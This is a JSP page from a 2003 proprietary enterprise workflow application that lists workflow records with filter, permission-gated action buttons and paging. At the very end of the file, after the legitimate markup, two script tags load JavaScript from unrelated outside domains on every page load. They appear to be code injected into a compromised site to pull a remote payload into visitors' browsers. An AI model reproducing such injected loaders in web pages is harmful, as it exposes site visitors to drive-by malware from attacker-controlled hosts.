<%
/*
 * @(#)ListWorkflowRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowRecord.jsp

  This is a ListWorkflowRecord page.  It shows the active workflow records' record in EIP.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      30/07/2003
    @version            $Revision: 1.30.2.25 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowRecordForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowRecordForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowRecordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            //{"workflow.columnheader.edit_stage", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.workflow_version", "WORKFLOW_VERSION"},
                            {"workflow.columnheader.status", "STATUS"},
                            {"workflow.columnheader.description", "DESCRIPTION"},
                            {"workflow.columnheader.category", "B.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.effective_period", "START_DATE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.workflow_version", "WORKFLOW_VERSION"},
                            {"workflow.columnheader.category", "B.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/


  WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  String returnURL = "ListWorkflowRecordGroup.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;

%>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="flag" value="stage"/>
<html:hidden property='workflowGroupID'/>
<html:hidden property='status'/>

<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">
    <html:standardButton onClick="OpFullList()" label='<%=GlobalConstant.RECORD_PENDING.equals(listWorkflowRecordForm.getStatus())? "workflow.label.full_list": "workflow.label.pending_list"%>'/>
  </div>
</div>
<layout:listBar>
 <div class="button">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right='I' objectType="W" objectID="<%=currentGroup.getID()%>"  label='common.label.new' link='<%="MaintWorkflowRecord.do?workflowGroupID="+currentGroup.getID()%>'/>
  <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right='D' objectType="W" objectID="<%=currentGroup.getID()%>" label='common.label.delete' onClick='return(OpListDelete(listWorkflowRecordForm))'/>
 </div>
 <layout:filterControl/>
 </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listWorkflowRecordForm, '${listWorkflowRecordForm.sortAttribute}', '${listWorkflowRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listWorkflowRecordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->
<script>
  function OpFullList(){
    <%if(GlobalConstant.RECORD_PENDING.equals(listWorkflowRecordForm.getStatus())){%>
      document.listWorkflowRecordForm.status.value="*";
    <%}else{%>
      document.listWorkflowRecordForm.status.value="<%=GlobalConstant.RECORD_PENDING%>";
    <%}%>
    OpList(document.listWorkflowRecordForm, '<bean:write name="listWorkflowForm" property="sortAttribute" replace=""/>', '<bean:write name="listWorkflowRecordForm" property="sortOrder" replace=""/>');
  }
</script>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowRecordForm.getSortAttribute()%>" sortOrder="<%=listWorkflowRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowRecord).getID()%>);">
    <td align="center">
    <logic:permission right='D'>
      <logic:permission right='D' objectType="W" objectID="<%=currentGroup.getID()%>">
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workflowRecord' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    </logic:permission>
    </td>
    <td align="center">
    <logic:permission right='E'>
      <logic:permission right='E' objectType="W" objectID="<%=currentGroup.getID()%>">
      <a href="MaintWorkflowRecord.do?navMode=E&ID=<bean:write name='workflowRecord' property='ID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
    </logic:permission>
    </td>
    <td align="center">
    <logic:permission right='C'>
      <logic:permission right='C' objectType="W" objectID="<%=currentGroup.getID()%>">
      <a href="MaintWorkflowRecord.do?navMode=<%=GlobalConstant.NAV_MODE_CHANGE%>&ID=<bean:write name='workflowRecord' property='ID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
    </logic:permission>
    </td>
    <td nowrap>
    <logic:permission right='E'>
        <logic:permission right='E' objectType="W" objectID="<%=currentGroup.getID()%>">
          <a href="MaintWorkflowRecord.do?navMode=V&ID=<bean:write name='workflowRecord' property='ID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><bean:write name='workflowRecord' property='workflowCode'/></a>
          <bean:write name='workflowRecord' property='workflowCode'/>
        </logic:permission>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <bean:write name='workflowRecord' property='workflowCode'/>
      </logic:permission>
    </td>
    <td><bean:write name='workflowRecord' property='workflowVersion'/></td>
    <td><font style="color:<%if (GlobalConstant.RECORD_PENDING.equals( ((WorkflowRecord)workflowRecord).getStatus() )) { out.print("#FF0000"); } else { out.print("#0000FF"); } %>"> <bean:message key='<%="common.options.status_"+((WorkflowRecord)workflowRecord).getStatus()%>'/></font></td>
    <td><bean:write name='workflowRecord' property='description'/></td>
    <td><bean:write name='workflowRecord' property='workflowCategory'/></td>
    <td><bean:write name='workflowRecord' property='startDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/> - <bean:write name='workflowRecord' property='endDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/></td>
    <td nowrap><bean:write name='workflowRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td><bean:write name='workflowRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listWorkflowRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)OpList(listWorkflowRecordForm, '<bean:write name='listWorkflowRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowRecordForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>